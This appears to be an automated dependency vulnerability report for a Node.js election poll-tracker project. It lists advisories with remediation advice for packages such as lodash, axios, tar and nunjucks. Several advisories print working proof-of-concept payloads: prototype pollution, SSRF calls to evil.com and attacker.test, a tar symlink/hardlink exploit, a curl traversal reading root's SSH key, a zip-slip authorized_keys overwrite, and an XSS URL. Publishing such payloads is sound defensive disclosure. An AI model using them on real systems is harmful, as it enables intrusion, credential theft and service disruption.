Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.

PoC by Olivier Arteau (HoLyVieR)

var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.5 or higher.

References

medium severity

Access of Resource Using Incompatible Type ('Type Confusion')

  • Vulnerable module: sequelize
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize@3.35.1
    Remediation: Upgrade to sequelize@6.28.1.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') due to improper user-input sanitization, due to unsafe fall-through in GET WHERE conditions.

Remediation

Upgrade sequelize to version 6.28.1 or higher.

References

medium severity

Improper Validation of Specified Index, Position, or Offset in Input

  • Vulnerable module: uuid
  • Introduced through: sequelize@3.35.1, jsdom@9.12.0 and others

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize@3.35.1 uuid@3.4.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD jsdom@9.12.0 request@2.88.2 uuid@3.4.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 request@2.88.2 uuid@3.4.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 request@2.88.2 uuid@3.4.0

Overview

uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.

Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.

PoC

cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
  ['v4',()=>v4({},new Uint8Array(8),4)],
  ['v5',()=>v5('x',ns,new Uint8Array(8),4)],
  ['v6',()=>v6({},new Uint8Array(8),4)],
]) {
  try { fn(); console.log(name,'NO_THROW'); }
  catch(e){ console.log(name,'THREW',e.name); }
}"

Remediation

Upgrade uuid to version 11.1.1, 14.0.0 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.30.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls attribute being ignored in the call to the buildFullPath function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.

PoC

const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');

Remediation

Upgrade axios to version 0.30.0, 1.8.2 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.30.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls to false by default when processing a requested URL in buildFullPath(). It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.

Remediation

Upgrade axios to version 0.30.0, 1.8.3 or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: exhibit-plugin-browserify@0.10.1, exhibit-plugin-sass@0.10.1 and others

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-browserify@0.10.1 browserify@13.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-directory@0.10.1 sander@0.5.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 sander@0.5.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 sass-graph@2.2.6 glob@7.2.3 inflight@1.0.6
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 gaze@1.1.3 globule@1.3.4 glob@7.1.7 inflight@1.0.6
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-stream@3.1.18 glob@4.5.3 inflight@1.0.6
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 fstream@1.0.12 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 tar@2.2.2 fstream@1.0.12 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

Directory Traversal

  • Vulnerable module: tar
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via processing of hardlinks. An attacker can read or overwrite arbitrary files on the file system by crafting a malicious TAR archive that bypasses path traversal protections during extraction.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.7 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: nunjucks
  • Introduced through: nunjucks@2.5.2 and g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD nunjucks@2.5.2
    Remediation: Upgrade to nunjucks@3.2.4.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates nunjucks@2.5.2

Overview

nunjucks is a powerful templating engine with inheritance, asynchronous control, and more (jinja2 inspired).

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the second parameter, when more than one user-controlled parameter is used on the same line in a view. Autoescaping can be bypassed by including a \ in the user input string.

PoC

https://<application-url>/?lang=jp\&place=};alert(document.domain)//

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade nunjucks to version 3.2.4 or higher.

References

medium severity
new

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.32.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain proxy credentials by inducing a redirect from an HTTP request sent through an authenticated proxy to an HTTPS endpoint where no proxy applies, causing the proxy credentials to be forwarded to the final origin.

Note:

This is only exploitable if the application is running in Node.js with the HTTP adapter, an initial HTTP request uses an authenticated proxy, redirects are enabled, the redirect target does not use a proxy, and the redirect shape is not stripped by confidential-header handling.

Workaround

This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy. Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.

PoC

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: tar
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via insufficient sanitization of the linkpath parameter during archive extraction. An attacker can overwrite arbitrary files or create malicious symbolic links by crafting a tar archive with hardlink or symlink entries that resolve outside the intended extraction directory.

PoC

const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.3 or higher.

References

medium severity

Server-Side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.21.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF). An attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.

Remediation

Upgrade axios to version 0.21.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: js-yaml
  • Introduced through: cssnano@3.10.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-svgo@2.1.6 svgo@0.7.2 js-yaml@3.7.0
    Remediation: Upgrade to cssnano@4.0.0.

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Denial of Service (DoS). The parsing of a specially crafted YAML file may exhaust the system resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade js-yaml to version 3.13.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: marked
  • Introduced through: marked@0.3.19

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD marked@0.3.19
    Remediation: Upgrade to marked@1.1.1.

Overview

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The em regex within src/rules.js file have multiple unused capture groups which could lead to a denial of service attack if user input is reachable.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade marked to version 1.1.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: node-fetch
  • Introduced through: node-fetch@1.7.3 and isomorphic-fetch@2.2.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD node-fetch@1.7.3
    Remediation: Upgrade to node-fetch@2.6.1.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD isomorphic-fetch@2.2.1 node-fetch@1.7.3
    Remediation: Upgrade to isomorphic-fetch@3.0.0.

Overview

node-fetch is a light-weight module that brings window.fetch to node.js

Affected versions of this package are vulnerable to Denial of Service (DoS). Node Fetch did not honor the size option after following a redirect, which means that when a content size was over the limit, a FetchError would never get thrown and the process would end without failure.

Remediation

Upgrade node-fetch to version 2.6.1, 3.0.0-beta.9 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1
    Remediation: Upgrade to exhibit-plugin-sass@0.11.0.

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Denial of Service (DoS). Crafted objects passed to the renderSync function may trigger C++ assertions in CustomImporterBridge::get_importer_entry and CustomImporterBridge::post_process_return_value that crash the Node process. This may allow attackers to crash the system's running Node process and lead to Denial of Service.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
